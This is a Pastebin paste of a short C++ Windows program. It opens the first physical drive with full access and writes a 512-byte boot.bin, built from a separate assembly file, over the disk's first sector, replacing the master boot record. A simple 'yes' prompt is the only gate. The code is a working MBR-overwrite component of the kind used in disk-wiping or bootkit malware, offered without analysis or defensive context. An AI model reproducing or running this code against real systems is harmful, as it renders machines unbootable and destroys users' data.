Advertisement
FlyFar

Main.cpp

Jun 20th, 2023
627
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.50 KB | Cybersecurity | 0 0
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. #include <iostream>
  5. #include <Windows.h>
  6.  
  7. int main()
  8. {
  9.     // Confirmation
  10.     std::string confirmation = "no";
  11.     std::cout << "This program is dangerous! Are you sure that you want to run this?\n";
  12.     std::cout << "Please type 'yes' or type 'no'\n>";
  13.     std::cin >> confirmation;
  14.     if (confirmation != "yes") { printf("Exiting program..."); return -1; }
  15.  
  16.     // Overwrite
  17.     HANDLE drive = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
  18.     if (drive == INVALID_HANDLE_VALUE) { printf("Error opening a handle to the drive."); return -1; }
  19.  
  20.     HANDLE binary = CreateFileW(L"./boot.bin", GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
  21.     if (binary == INVALID_HANDLE_VALUE) { printf("Error opening a handle to boot.bin"); return -1; }
  22.  
  23.     DWORD size = GetFileSize(binary, 0);
  24.     if (size != 512) { printf("Error opening a handle to boot.bin"); return -1; }
  25.  
  26.     byte* new_mbr = new byte[size];
  27.     DWORD bytes_read;
  28.     if(ReadFile(binary, new_mbr, size, &bytes_read, 0))
  29.     {
  30.         if (WriteFile(drive, new_mbr, size, &bytes_read, 0))
  31.         {
  32.             printf("First sector overritten successfuly!\n");
  33.         }
  34.     }else
  35.     {
  36.         printf("Error reading boot.bin\n");
  37.         printf("Make sure to compile the ASM file with 'nasm -f bin -o boot.bin boot.asm'");
  38.     }
  39.  
  40.     CloseHandle(binary);
  41.     CloseHandle(drive);
  42.     std::getchar();
  43.     return 0;
  44. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement